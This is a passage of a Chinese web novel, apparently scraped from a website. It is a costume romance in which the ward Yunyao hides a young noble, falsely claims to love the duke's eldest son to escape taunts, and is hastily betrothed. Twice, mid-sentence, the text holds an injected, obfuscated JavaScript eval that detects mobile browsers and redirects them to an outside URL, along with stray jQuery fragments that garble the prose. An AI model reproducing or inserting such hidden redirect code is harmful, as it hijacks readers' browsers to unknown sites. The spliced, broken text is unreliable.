仆妇点了下头,并未多言。云窈也马上意识到公主若真想告诉她,今早请安时完全可以说。 她只是一个无关紧要的人。 云窈马上合上嘴巴。 送走仆妇后,她不由自主捏上脖间挂的那枚挂坠——若早几日晓得,定会去钱庄取款置办贺礼,眼下天黑事急…… 云窈转身,拉开一格抽屉,里面都是叠好的衣衫。落玉疑惑:“小姐你找什么?” 云窈两手小心捧出一杏色夹袄,打开,露出里面藏的一只冰飘花的翡翠手镯。 “去找个好点的礼盒来。”她边包镯子边吩咐落玉。 落玉依命翻出个镀金锁的檀木匣,递到云窈手上。 云窈旋即将包好的翡翠镯放入匣中,又精挑细选花笺,研墨。 “这镯子不是夫人送你的吗?”落玉不解追问,这是小姐日后的嫁妆,突然拿出来作甚? 云窈点头,的确是她最贵的首饰,平时舍不得戴。 她手上研墨,心里斟酌祝寿词,分心一二叹道:“怕只有这只镯子拿得出手。” 小姐要把镯子送给汉阳公主?! 落玉一个激灵,本能想开口阻止,但转念发现说不出口,的确只能送这…… 落玉张着的嘴缓缓合上。 云窈边研墨边问:“我刚翻那层抽屉,也没见着丢的帕子,真不知道到哪去了。” 前日她发现少了一条绢帕,想不起来放哪了,也哪哪都找不到。 “别急。”落玉劝慰,“有时候东西就这样,你越找越找不见,不找过段时间它自己出来了。” 云窈点头,待备好公主的贺礼,这一夜才睡得安心。 子时,国公府里就忙碌起来,后厨臂长的蒸笼热气不断,烟囱一直在冒袅袅白烟。管家婆子拿钥匙开库,拿器皿,摆桌凳。优伶们再过一遍单子上的戏。 自卯时起,收到帖子的世家夫人携子女陆续登门,黄门们也带来宫里的赏赐,宫缎宫绸、如意念珠,还有给二位公子的御赐宝墨,都如水往里抬,诸王亦有贺礼。 太监宣读圣旨时还好,待到懿旨,皇后虽非汉阳生母却是抚育之人,内里几句挂念嘱托的话,惹得汉阳眼泪涟涟。魏国公思及这位宫中姑母,亦眼眶湿润。 国公重重犒赏了诸位公公,而后开戏——国公府每年都会采买几名小丫头养在府里,让之前的优伶教戏,这么一代代传下去。不比外面的角差,但寻常人没机会听。 汉阳公主点了出《蟠桃会》,这戏既热闹又长,老一辈都爱看,但小一辈就嫌聒噪,不少人偷偷溜走。 步仙镝和李凝便是其中两位。 不过步仙镝撤离的原因并非聒噪,而是架不住齐姝妍直勾勾盯着他瞧。 李凝则是被拉出来相伴的,无奈失笑:“你自己躲干嘛非拉上我?” 步仙镝脚下生风:“万一她追来,有你在场她不敢做过分事。” 李凝侧首睨步仙镝一眼,他一个大男人还怕齐二小姐动手动脚? “那你怎么不找镜明帮你挡?”李凝反问,“二小姐不敢冒犯他的。” “他去佛堂了嘛!”步仙镝没好气,“唉,走快点,真别让她追上了。” 李凝摇头微笑:“二小姐不会追过来,你没见冯夫人始终不离殿下左右,她们做女儿的哪敢开小差。” 步仙镝愣了下:“你倒是关注。” 李凝眸光移动:“帮你留意的。” 步仙镝不再言语,出了梅园明显轻松些,负起双手,可没一会齐姝妍却在后面喊,呖呖婉转,听在步仙镝耳中却如催命一般。 “完了。”他同李凝抱怨,“你不说她不敢开小差吗?” 李凝望向来人,面上闪过一丝怔然,似乎也没料到。 齐姝妍已经拽着齐姝静快步走近,当没听见步仙镝质问,冲他嫣然一笑:“小太尉。” 她的确不能单独开小差,但可以拉上姐姐一道净手。 步仙镝浑身紧绷,后躲一步。 齐姝妍往前一步:“小太尉,有几句话我想私下和你说。” “什么话不能当面说?”步仙镝说着还往后退,眼睛瞅地,怕一撩起来就对上齐姝妍视线。如此女进一男退一,逐渐离远。 李凝并没有上前帮步仙镝解围,反而伫立原地,目视拉扯着越离越远的俩人,微泛笑意。 梅林中只剩下李凝和齐姝静,瞬间安静下来。 李凝目光这才落在齐姝静脸上,缓缓开口:“好久不见。” 齐姝静也看他:“是好久,有两年了。” 二人不约而同低下头,踱步。 时逢夏末,坡上被修剪过的腊梅本该只剩虬枝,但国公府的匠人却巧妙用绸、绫、绢扎出不同颜色品类的假梅,结在枝头。李凝道:“上回来国公府,这梅岭上开了一树樱花,现在都谢了,找不出是哪棵。” “少卿大人是春天来的吧?”齐姝静环扫一眼,往坡上走。 李凝追随她。 齐姝静手抚向一树假梅,李凝便知这棵是樱,待她手挪开垂下,他也将手放到树干上:“是今年春天,我来府里找镜平说事,没瞧见你。” “我不常来梅岭。” 李凝颔首。 两厢无言。 良久,齐姝静仰头看李凝,正好对上他的视线,两两都没有躲,李凝沉声:“如今称呼已这般生疏?” 齐姝静立马垂首,不再对视。 李凝眸中苦涩无奈一闪而过,叹道:“走吧,该回去了。” 二人便往梅园行进,李凝道:“其实《蟠桃会》挺有趣的。” “热闹嘛。” 两人有一搭没一搭说着话,间隔越拉越远,待进梅园,已不完全不似一道回来。 再说步仙镝这边,一直低头躲避,再抬头才惊觉已经离开梅岭来到假山,只有齐姝妍,哪里还见李凝踪迹! 步仙镝咬牙切齿:这兄弟! 齐姝妍口口声声私下说事,但其实一路打听步仙镝衣食住行,他不愿意告诉她,全怼回去。齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512482|170282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姝妍也不恼,改向他汇报起自己的日常作息,点滴小事。步仙镝如听念咒,眺着假山,灵光一闪:“唉,我们来玩个游戏吧?” 他今日第一回主动搭理,齐姝妍喜出望外,满口应好,又追问:“什么游戏?” “捉迷藏。你闭眼,背过去。” 齐姝妍依命做了,但不对,步仙镝啧了一声:“叫你面朝假山,怎么这么笨呢。” 她还是不对。 步仙镝不耐烦,抬手摁住齐姝妍脑袋,让她与石头再贴近些。他掌贴上她后脑勺那一刻,齐姝妍情不自禁扬起嘴角,再没有比这更欢喜的事情。 “好,站好啦。”步仙镝也勾唇角,“数一百个数,再睁眼找我。” 步仙镝快步朝东边走去,故意踏得极重,留下阵阵脚步声。 他虚晃一枪,进洞后穿梭加飞檐,打西边扬长而去。 这回甩开那娘们了。 步仙镝没得意多久,又听见齐姝妍遥遥呼唤:“小太尉,小太尉我来找你啦!” 阴魂不散! 步仙镝慌得来不及瞟匾额上木樨小筑四字,就翻进旁边院子里。 这会众婢女都在后院忙碌,前面杳无一人,唯有成排桂树。树干宽不过步仙镝肩,躲不了,底下草木皆被修剪得低矮,也不能藏。 犹闻齐姝妍呼唤,他情急之下破窗入房。 云窈一大早上就听见拉弹唱自云端传来,知晓已经开宴,但她没有请帖,仆妇说巳时,就只能巳时再去,不敢提前。 这会落玉也在后院,独云窈坐床沿上,听见响动抬头,见一金冠箭袖的陌生少年越来越近,勾起云窈不好记忆,张嘴就要喊人救命。 步仙镝急忙将她嘴捂住,她能感受到他温热掌心,他也能感觉她唇上软肉和口中热气。 “嘘——”步仙镝瞪眼警告,而后才察觉自己带着少女扑倒床榻,顿时满面赤红。 他赶快将云窈带离梨花床:“对不起,我躲人,无意冒犯,还望姑娘谅解。” 云窈呜呜讲不出来一个字。 步仙镝才意识到自己捂人家的口,于是他的手也变得通红。 “人呢?去哪了?”齐姝妍的声音越来越近,云窈辨出齐二姑娘声音,睁大眼看着步仙镝。 步仙镝低声:“别告诉她我在这。” 说罢撒手躲到窗前桌下。 云窈在一霎间权衡好利弊,男子的气力通常比女子大,那桌下藏的歹人又穿箭袖,是个习武的。如果她告知齐二姑娘,将歹人逼上绝路,他可能鱼死网破杀了她。 她抬手整理了下发髻和衣裳。 齐姝妍很快走进小筑,窗户开着,瞧见云窈:“窈娘,你怎么没去殿下寿宴?” 问完她合唇,自知失言,殿下兴许没邀请云窈。 云窈一笑,温婉道:“她们让我巳时再去。” 齐姝妍走进来时觉得云窈脸有些红,本来准备问的,这一打岔,再加上云窈在窗边吹了风绯色渐退,齐姝妍就忘了,径直询问:“你有没有瞧见什么人进木樨小筑?” 云窈心惊肉跳,默默攥拳,她努力镇定,不令声颤,但仍抑不住胸脯轻微起伏:“没有啊……” 13. 第十三章 “唉奇了怪了,”齐姝妍环视,“去哪了?” “你在找人吗?”云窈拳头里已全是汗,“会不会不在这边?” 齐姝妍本来就在担忧找反,越偏越远。云窈一说,一颗心终于摁不住七上八下,她再顾不上和云窈聊天,转身就奔出小筑,撒开腿往东赶。 云窈一直站着不动,过了许久,确定齐姝妍远离,才关上窗:“你可以出来了。” 说完她张嘴狠狠吸了两口气,刚才一直紧张屏气,窒息得狠。 步仙镝从桌下钻出,抱拳躬身:“在下步仙镝,多谢姑娘出手相救!” 云窈心里叫囔:别告诉她他的名字!她不想记! 眼前少年虽然穿戴不俗,但凭所作所为,云窈已将他打作坏人,她可不想知道名字后被灭口。 步仙镝目睹云窈表情变化,先是愣怔,继而笑出一声:“姑娘放心,在下不是歹人,家父乃是当朝步太尉。”他说着解下腰间玉佩,“姑娘救我一回,日后若遇着难处,拿着这块玉来太尉府,刀山火海,莫有不帮。” 那玉成色比她的翡翠镯还好,云窈毫不犹豫拒绝。 步仙镝不喜欢客套拉扯,她不收,他就重系上:“那你以后来府上,直接报窈娘,我也偿情。” 云窈脸一红,他这是偷听偷记了齐姝妍对她的称呼。 步仙镝倒是霁月光风,朝云窈拱手:“没别的事,在下就告辞了。” 云窈屈膝行了个送别礼。 待步仙镝离去,她瞥了眼滴漏,哎呀,耽误太久,马上就巳时了! 云窈匆匆揣起礼盒赴宴。 步仙镝尚未走远,习武之人耳力好,听见脚步声以为是齐姝妍,惊得耸肩回头,见是云窈揣个礼盒,方才松口气。 他没有同行打算,抬腿正继续前迈,却发现云窈拐上另一条道。 步仙镝皱眉,抬起的那条慢慢收回,停步。 “窈娘!”他喊了一声。 头回有男子这么呼唤,云窈一刹脑内放空,而后才反应过来,缓缓转身。 她杵原地不动,步仙镝只好朝她走了两步:“你不是要去赴宴吗?” “是啊。”云窈缓慢点头。 “走错了!”步仙镝叹一口气,“你怎么比我还不熟悉国公府。” 他往梅园方向走了两步,回头,发现云窈已经默默跟上,便没说诸如“跟着我走”之类的话。 “我在府里寄居,鲜少出木樨小筑……”云窈娓娓告知来历。 步仙镝听了,也告诉她自己是魏国公的外甥,从小在这府里玩。 云窈渐渐相信步仙镝不是歹人,放下戒心:“公子既然与二姑娘青梅竹马,缘何还躲她?” 他那样子,简直视齐姝妍为猛虎。 “她是很好,但她喜欢我,我不喜欢她。” 没想到步仙镝答得这么直白,云窈一霎呆滞——她还未体验过男女间的喜爱,不知如何作答。 再则,这是步仙镝和齐姝妍两个人的私事,更不便参与。 云窈闭紧嘴巴,沉默是金。 步仙镝时刻提防齐姝妍突然蹿出,东张西望,也没有太多心思和云窈攀谈。 似同行似护送,翻越梅岭,云窈才晓得这后面还有这么大一座园中园——左右望不到边,门后又见门,好像永远逛不完。 她一路走来,所有树上全用绢绫等昂贵料子依势成花,重现春日,天空湛如洗,白云来回走,无处不太平富贵。 步仙镝进园子就和云窈分开,她由婢女引领去见公主。 到了月洞门外,婢女臂一拦,不让走了:“见殿下的客人多,姑娘稍候。” “好。”云窈顺从驻足。她排了一会,见有些比自己后到也进去了。 云窈猜测是不是自己身份卑微,不能排在前面? 她就趁这段等待时间,默默在心里演练贺寿的动作和贺词。 “好了,走吧。” 云窈跟随婢女进门。 园中权贵穿梭来往,仿若天上走的白云,却比白云更多。云窈冷不丁跌进一双狼一样的眼睛里。 是齐宽! 明媚阳光里,她情不自禁打寒颤。虽然周围始终有宾客往来,她和齐宽还隔着一段距离,却恍觉饿狼扑食,害怕得落下两滴泪。 “妹妹你来了。”齐拂意瞧见云窈,兴高采烈打招呼。云窈却完全没听见,从他身边擦过。 齐拂意睹着云窈神情,再低头,发现她在发抖。他目送云窈走远,又猛地回头寻刚才云窈瞥的方向——是齐宽。 齐拂意自己腿跛,所以会不由自主留意别人的腿脚。他早上就发现齐宽的腿也莫名瘸了两分。 之前听闻齐宽生病卧床,齐拂意曾去探望,却被拒之门外。他后来留下礼物就走了,也没往心里去。这会却觉出不对劲。 齐拂意邻桌是步仙镝,不由询问:“小太尉,你晓得阿宽最近出了什么事吗?” 步仙镝是知道夜夜娇的,张口要答,李凝却拦道:“二公子,您和三公子是一家的,理应更清楚,怎么还来问我俩外人。” 步仙镝却未觉出阻拦意,依旧吐真言:“季平,他不知道也正常,毕竟人是你打的。” “李少卿打了阿宽?” “是啊。”步仙镝放下酒杯,凑近齐拂意,“你家三弟私用禁药诱.奸良家子,胆子真是大,在家里就敢干这种事。还好镜明发现及时,拦下救了那姑娘,又将三公子扭送大理寺……”步仙镝悠悠说到这,突然心一沉:那国公府受害的良家子是窈娘! …… 云窈这厢,正向汉阳公主见礼。 三跪九叩,能听见清清楚楚磕汉白玉砖的三个响头:“民女云窈,祝殿下至德延年,鹤寿千岁。春祺夏安,秋绥冬禧。” 双膝仍跪,双手捧献翡翠镯——她是见过好东西的,但也没见过特别好的东西,只能凭仅有的见识估摸之前听到的礼单,大多价值连城,都比她送的贵。 送翡翠镯是对的。 但云窈也发现,礼单里别人送手镯都成对送,这又令她生出一丝惶恐。 “这花容月貌的姑娘,怎么从前没见过?”公主旁边雍容华贵的美妇笑问。 “这是二弟那边的亲戚,杭州来的。”公主笑道,“吾就是觉她牙口伶俐,所以留在身边。” “倒是讨喜。”美妇应和,没再多言,反倒是下手有位夫人多话:“就是身量单薄了些,照杭州话说是不是叫灯草美人儿?” 云窈垂首默听,不敢起身,忽听后面噼里啪啦,叮里哐啷,像是谁掀翻了桌子,接着越来越多人高呼“打起来了”! 云窈身子不敢不动,只扭头回望,差点两眼一抹黑。 齐拂意正同齐宽乱斗,拳拳到位,单氏在旁跪着拉架,齐岚则吼丢人现眼。 云窈再觉身边一阵风,竟是汉阳公主和国公,连带一众美妇都匆匆往作乱那边去。 云窈身子晃动,用手撑地,才勉力没有摔倒。 魏国公命人将胸腹不住起伏的齐拂意带下去:“他母亲过寿,贪杯,喝醉了。” 连带着二房三人也一并消失,正妻冯氏跟着去了,估计是看管。 汉阳公主微微躬身:“小儿今日失礼,让诸位见笑了。” 在场宾客哪个敢真嘲笑,有公主主持,太尉府的齐夫人帮忙维护,风波很快平息,宴会重回热闹。桌椅盘碟茶点都重布置,仿佛什么也没发生过。 但宾客席间私语,一传十,十传百,陆续知晓国公府二公子和三公子是为一位姨娘的侄女争风吃醋,大打出手。 没人管的云窈已经躲进角落,却仍收到各式各样的目光。 她恍觉是千百道箭矢射来,面上热辣,不敢抬头。 已经够惶恐了,偏还有不上道的贵游子弟走近调笑:“哟,这位就是云姑娘吧?” “云姑娘,你自己是想和二公子好,还是和三公子好?” “住嘴。” 云窈好像听见步仙镝低斥了一句,还有其他人在劝“别说了,今日殿下大喜的日子”。 云窈都听不到真切,孤零零杵定,眼泪不受控在眶中打转,羽睫颤动得越来越厉害。 “窈娘喜欢哪个呀?”他们还问。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15516840|170282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我……”云窈能察觉齐拂意对自己有意,也绝不会再入虎口归顺齐宽,躲又躲不掉,这些人不问出个所以然不会善罢甘休。她婆娑中瞥见从佛堂出来的齐拂己,清冷矜贵,仿佛身上烟火俱灭。 刹那间她做了决定,就让这位和善能容的大公子担个虚名吧! 大公子会原谅她的! “我觉着大公子好。”云窈咬唇,薄肩轻耸,忐忑瞥向齐拂己,大公子听见了,却什么也没说,冉步远离。 大公子果然是不生气也不介意的挡箭牌! 云窈窃喜,暗暗搓手帕,泪眼婆娑补充:“我喜欢大公子!” 因为撒谎,脸上泛起羞愧的红晕。 周遭顷刻鸦雀无声。 步仙镝和李凝不约而同先瞥云窈,再朝齐拂己望去。步仙镝视线一直追在齐拂己背上,李凝却只追半途,中途对上齐姝静目光,就停了。 齐拂己面不改色,步伐也和刚出佛堂时一样,坦荡、从容,他不曾瞥云窈一眼,径直走向汉阳公主和魏国公,躬身行礼:“父亲、母亲,方已向长寿如来圣诵《无量寿智如来》,母亲定能寿征坤德,北堂萱茂。” 大户人家做寿都有僧尼诵持,汉阳公主却委任齐拂己,儿子一出手,她觉得比高僧大德还管用,通体舒太。 汉阳公主瞧儿子,哪哪都得意:“吾儿辛苦了。” 她让齐拂己紧挨着用膳。席间没提一句齐拂意打架的事,却偷偷观察齐拂己有没有瞟云窈。 从不曾。 晚上,管家拿清点好的礼单给公主过目。 公主一挥手:“老了,看不清,你念吧。” 且这一日也够费心神,公主将身倚在贵妃椅上,手肘撑着,闭眼听。自有识趣的婢女近前,为公主揉太阳穴捏肩。 前面一大串亲王贺礼,到末尾夹杂“云窈翡翠镯一只”,公主面无波澜,不曾开口,这类不起眼的小物未瞧就丢进库房里。 待仆从退下,公主和国公宽衣就寝,公主上了床,骤变脸色。 国公瞟见,却当没见。老夫妻两床锦被,各睡各的,瞧着国公缓缓躺下,公主愈发来气,肘拐了下:“今日阿宽当众欺负老二,你可要替儿子讨回公道!” 国公道:“好。” 他转个身背对公主,公主却仍凑过去,喋喋不休:“老二本来身子就不好,阿宽还给他胳膊上打青一块,心疼死我了,这个寿宴也没过好。”她推魏国公,“你什么打算?不能轻饶!要不行就我来……” “放心。”国公转身仰面,“睡吧,时候不早了。” 公主躺下,继续嘀咕:“那个云窈也得打发走了,老二明显对她有意,不行;老大明显无意,也不行。” 国公一听笑了:“有意无意都不行,你要怎样啊?” 他禁不住伸臂。 公主会意,这是想和她牵会手,就将手伸过去,攥着:“那狐媚子不安分,才来几个月惹这多麻烦。老二要纳妾也得纳个端庄娴淑的,不然他那身子,天天被缠着,怎受得了?” 所以老二不行。 “她说喜欢老大那一刹,我这里直犯恶心,觉得她简直就是玷污我们老大。”公主难受得揉胸口。 魏国公含笑不语,那杭州来的民女是不是真喜欢齐拂己?亵没亵渎佛子?齐拂己又是不是真对她无意?这三样,都要单看单说。 没她想的那么简单。 自从上回齐拂己给二房下药后,魏国公始终有命人盯梢云窈,她极少出小筑,言行谨慎,应无觊觎之心。 魏国公晓得云窈冤枉,却无甚在意,反而笑问公主:“那你想要我做什么?” 公主挑嘴角:“杀鸡焉用牛刀,我自有安排。” 夫妻俩又说了会话,困意上头,各裹各的被子背身睡去。佛堂中,一排烛火却摇曳仍明。 齐拂己敲木鱼,拨念珠,呢喃经文,脑中却仍止不住响云窈言语,那般清脆,恍若银铃。 “我觉着大公子好。” “我喜欢大公子!” 一句又一句,激得他额上渗汗,放下木鱼槌,四指蜷曲反扣,攥紧袖中手帕。 14. 第十四章 * 翌日,卯时。 皇帝每年都会邀一位大德行者来京讲法。今年请的是水月寺的玄苦大师,开坛的黄道良辰正好是汉阳公主寿辰后一日。连讲三天,届时上至天子,下到平民百姓,只要有心敬佛,皆可赴会听讲。 相国寺里已经提前竖立幢幡,摆好供果仙花。臻选出的大小明僧正提前做水陆法会,唯玄苦方丈踱入后院。 夜色昏昏,炉焚檀降,香云霭霭,齐拂己刚拈完香,直起身转看玄苦。 方丈拈花一笑:“阿弥陀佛,月余不见,看来施主的心境又有变化。” 齐拂己旋即接口:“香不动风自动,何曾变过。” 他徐徐走向玄苦。 玄苦合十,念珠搭在虎口处:“施主如今还想遁入空门吗?” 齐拂己下巴微低:“某此番来寻方丈,的确是有惑求解。” 玄苦缓缓朝左迈步,齐拂己跟上,并肩漫步,暗色中隐约见着松柏倒退,和宝刹墙壁的明黄。 玄苦笑问:“施主今日的烦恼丝长于何处呢?” “我在想到底是遁入空门,还是踏回红尘,空门外是否也能皈依三宝?” “既未得道,便是寻常人。寻常人随缘而变,本是常理,有何不可?”玄苦笑眯眯,一对寿星眉弯得更下,“何况施主心里早有决断,过问老衲,不过是想更从心。” 齐拂己嘴角挑了下:“大师慧眼。” 玄苦看向路边青松,拨一颗念珠:“老衲还要叮嘱施主,无论何时,千万记得‘一念嗔心起,八方障门开。” 齐拂己点头,先接下半句谒语:“‘一念慈心起,万朵莲花开。’” 而后双手合十,“这几日我将借居寺中,听完方丈的三场讲法再回归红尘。” 他身后灰蒙蒙的天空逐渐放白。 时由卯至辰。 国公府中,云窈照例在给公主请安,起身正准备告退,公主伸手虚拦了下:“今日留下来一起用膳吧。” 云窈没一丝受宠若惊,全是诚惶诚恐。 一桌子菜,跟宴会上差不多,公主每道菜只尝一小口,云窈忐忑犹豫,不知道自己是该效仿,还是不能效仿? “你也不小了吧?”公主问话。 云窈立马松口气,放下筷子,演出要一心一意回答的样子:“回殿下,民女快十八了。” “怎么这么大了还没说亲?” “原先说了的,”云窈低头,盯着筷子,“他身子不好,未成亲缘分就散了。” 公主唏嘘一番,继而感叹:“现下你父母没了,没个主事人,再耽误下去真拖大了。” 云窈垂头不语。 公主道:“可怜孩子,介不介意吾为你做主,再说一门亲?你有孝在身,可以先订着,待孝满再成婚。” 云窈犹如一脚踩空,直直下坠:坏了!一定是昨日宴会上的说辞让公主介怀了。 她浑身发冷,自己怎么这么蠢,当时只想齐拂己,完全没考虑公主和国公。 “吾保证给你觅个家风端正,品性纯良的,绝非阿宽之类的登徒子。到时候你从国公府出嫁,风风光光,半点不亏待。” 云窈明白这是警告她不要沾染齐氏双子,连忙离席跪谢,应下亲事。 她回小筑不久,就用了一个午膳,正小憩着,就有汉阳公主的仆妇来宣,说挑着了一门,让云窈过去先合八字。 公主如此迫不及待,云窈不由心里苦笑,下床穿衣,重梳了发髻去拜见公主。 公主选出的郎君名唤张宗云,年二十有二,去岁会试后入仕,在国子监做律学博士。 “他是湖州人,离你老家不远,吃的聊的应该都合得来。” “他年纪轻轻就中了春闱,前途无量。” “他父母已亡,你嫁过去没有公爹婆婆为难,夫妻倆相护扶持,把日子过好。” 公主难得说了许多,云窈知道必须应下,没得选择。 她本想说些“大恩大德没齿难忘”之类的体面话,却又怕说过了公主多心,觉得话里阴阳讥讽。 “谢谢殿下。民女很欢喜。”她最终这样回答,撒谎的时候嗓子都疼。 公主道:“按理盲婚哑嫁,婚前不该见面,但吾不想委屈强逼。吾是真心实意想为你挑一门好亲事,明日会传那张博士来相看,你要不合眼缘,再重挑。” 云窈欲言又止。 公主再道:“做夫妻是长久事,和不合眼缘的人过一辈子会很难受,必须得挑个——” 说到这公主迟疑了下,她本来想说“必须挑个喜欢的”,却想起自己当年嫁魏国公,是皇后扶持娘家,强牵的线,她并不喜欢他。 便打算改口说“挑个不排斥的”,下一霎,念头却再转,想这么多年过来,已经喜欢上了,遂还是说最初那句:“必须得挑个喜欢的。” 女人这辈子,也就这样。 “谢谢殿下。”云窈只会道谢。 翌日,张宗云竟真登国公府门。 他个头不高,但相貌堂堂,眉眼如画,云窈瞥了两眼就低下头去。张宗云看云窈则是痴了,盯了半晌,才红透一张脸低头:“对、对不起唐突了姑娘。” “没关系。”云窈声音小得像蚊子。 花厅里杵着的婢女个个不说话,张宗云和云窈也不知聊什么,尴尬了一会,张宗云没话找话:“听说姑娘老家也是江南的?” “我杭州人。” “我湖州的,离姑娘那里不远。”张宗云想方设法同云窈拉近话题,“我堂叔一家在杭州,住在菩提寺附近。” “那离我家不远。” “他家是开药材铺的。” 云窈抬起头:“菩提寺开药材铺?” 她和张宗云对了会,才发现先前同自己订过亲的张公子,竟是张宗云的远房堂弟。 二人都不免唏嘘,瞬觉更亲近些,张宗云甚至生出千里姻缘一线牵的感慨。 “公子在国子监都教些什么?”云窈主动问。 张宗云正要饮茶,放下茶盏,顺手捋了下袍:“回姑娘,在下教八品以下及庶人之子,以律令为专业,兼习格式条例。” 云窈点头。 张宗云看向云窈身边茶几:“说了这么多,姑娘也喝点茶吧。” 云窈微怔,而 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魏国公至此时才停滞手中笔,心生欢喜,很想问问儿子想通了? 但不能这么开口,要训诫长子自己讲出来。 “什么事?”国公爷仿佛不记事。 齐拂己抿了下唇:“孩儿愿意继续当世子,也请父亲尽快兑现承诺。” 魏国公方才搁笔大笑:“为父一言九鼎,岂会失信。” 父子俩一番商讨,很快达成共识——按律令的犯奸罪,齐宽流放三千里,齐岚流放五百里。 这刑法执行后,单氏反倒落发出家,这是后话,暂且不提。 只说齐拂己从书房出来,天已放亮。 他回世子院,一道道明媚洒在路上。 有一队抬箱仆从与齐拂己擦身,每只箱上皆扎红绸,贴有囍字,最前面还挂着两只大雁。 队伍里有生面孔,也有熟面的国公府老仆,个个脸上喜气洋洋。 齐拂己顿足,拦住一老管家询问:“家中怎么会有雁礼?谁订亲?” “回世子,是二房那边的……” 话至此,齐拂己思及的仍是齐姝静,然而管家却娓娓吐出最后三个字,“云姑娘。” 是二房那边的云姑娘。 齐拂己突然通身发凉,如坠冰窟。 他为她复返红尘,她却在他闭关这短短几日内,就要嫁人? 道道阳光如箭打在身上,刺得生疼。 老管家不察,续道:“今儿天不亮这纳吉礼就送过来了,殿下做主订好亲,说这些礼都给云姑娘自己留着,奴们正依命送去。” “她在小筑?”齐拂己冷冷追问。 管家愣了下,不知“她”确切指代,躬身轻声:“世子是问云姑娘吗?她还在殿下那里……” 齐拂己竟头回没听人说完话就调头转身,他走得又急又猛,生出两股风吹起老管家衣袍,一众仆从皆呆愣原地。大安速喜则跑起来追赶齐拂己。 15. 第十五章 齐拂己走了四、五十步后,渐渐放慢,恢复冷静。 他并没有去汉阳公主所在上房,反而绕去了从上房回木樨小筑的必经之路,冉步徘徊。 云窈问完安过来,远远眺见,脚下一滞:世子? 她以为是偶然邂逅,心想要是世子瞧见她,就打招呼,没瞧见她,就默默路过,不打扰世子。 正盘算着,齐拂己淡淡眺来,与云窈四目对上。 她只好上前,屈膝见礼:“民女参见世子。” 齐拂己启唇:“这么高兴,是有什么喜事吗?” 云窈一怔,她看起来很高兴? 难道她喜欢张宗云,自己都没意识到? 云窈垂耷着脑袋,陷入恍惚和疑惑。 过会,才意识到齐拂己的木屐一直在原地没挪,他在等她回答。 云窈心怯,不大敢说,眼皮不受控撩起偷窥了齐拂己一眼——他和颜悦色,犹如清风拂过云窈面庞,惧意顿时消除大半。 说吧,世子不会怪罪的。 世子是善又宽恕的人。 “回、回世子,民女今日订亲了!”云窈长吁口气,说到这,就必须得跟齐拂己认个错,上回骑虎难下,一时脑热扯他做了挡箭牌,说什么喜欢世子,“民女上回……上回……” 她该怎么说?上回说喜欢世子是幌子,玷污了他的名声,求他恕罪? “上回殿下寿宴上……”她心里有两个小人打架,一个纠结启齿,一个又在怂恿,说吧,世子不会恨你,更不会害你的,“民女、民女是做幌子才……” 还是说不去下,光就这几个字,她就已经腿软下跪,眼泛晶莹。 齐拂己伸手虚挽,手竟然抖了下,但云窈光顾着磕头表示绝无非分之想,压根没瞧见。 齐拂己曲起五指,收臂。 他全都明白了。 “我觉着大公子好!” “我喜欢大公子!” 呵,巧言令色。 原来这些都是假的。 他是幌子。 可笑还以为是两情相悦,为了这复返红尘。 齐拂己轻笑:“所以我是幌子?” 其实她想说的是挡箭牌吧,只不过委婉了点。 还真像正对他心□□了一箭,伤不算重,但箭头的弯钩勾着了心尖肉,刺痛。 一时间他虽面色不改,心头却迅速闪过痛楚、讶异、失望、愠恼、愤恨…… 欲念也好,感情也罢,他以为都讲究两厢情愿,强扭的瓜有点自欺欺人,还显得狼狈,他不是低声下气,执念之人,卿若无意那便休。 至于复返红尘,答应就答应了,他会当好世子。 齐拂己想到这,微微扬起下巴,仿佛自此就重拾了自尊。 “起来吧。”他再次伸手虚扶起云窈,并温和笑道,“恭喜你。” 他决定放过自己也放过云窈,正如方丈所言,一念慈心起,万朵莲花开。 云窈猛地抬首,掩不住眸中喜色,世子明白!世子没有怪罪她! 就说世子是大善人! “谢谢世子!”她回礼时特意双手合十行佛礼,齐拂己瞧在眼里,心里又刺一下。但当云窈说“如果没有别的事,民女就先告退”时,他还是同她笑了下,和颜悦色道:“去吧。” 云窈埋走直走,脚步越来越轻快。 齐拂己一直目送离远,方才转身。数步后,大安询问:“世子去佛堂吗?” 齐拂己心道自己哪里还会再去佛堂,淡道:“回院。” 众人回到世子院中。 齐拂己在厅内用膳,又去书房读书,甚至捡起许久未练的重剑,院中挥舞。正一剑正刺苍柏时,护院领着魏国公长随来报:“世子,国公爷找您去书房。” 齐拂己定了须臾,方才翻手挽个剑花入鞘:“我稍后去。” 说罢转身走向厢房,他身后一枝被斩断的柏枝娑娑坠落。 夕阳西斜。 他练剑出汗,换了身衣裳才去书房。魏国公应已回府一段时间了,但不知怎地,此时才更换常服,还是在书房里。 婢女们拉开一扇云母山水屏风遮挡。 齐拂己唤了声“爹”,面对屏风,该行的礼一个不漏,而后便在一侧静候。 半晌屏风折叠收起,婢女们退下,魏国公往太师椅上坐,口中关切:“用过晚膳没有?” “孩儿已经吃了,爹呢?” 魏国公下巴微点,示意也一样。他搭手坐了会,才指在扶手上轻点:“镜明,你随我来。” 说罢起身,自去里间。 内里是读书乏了,小憩的地方,内设卧榻,极为私密。齐拂己因此没有即刻跟,魏国公回头瞥了一眼,他才抬腿跟上。 父子倆走到深处,对一梨花床和一贵妃榻。 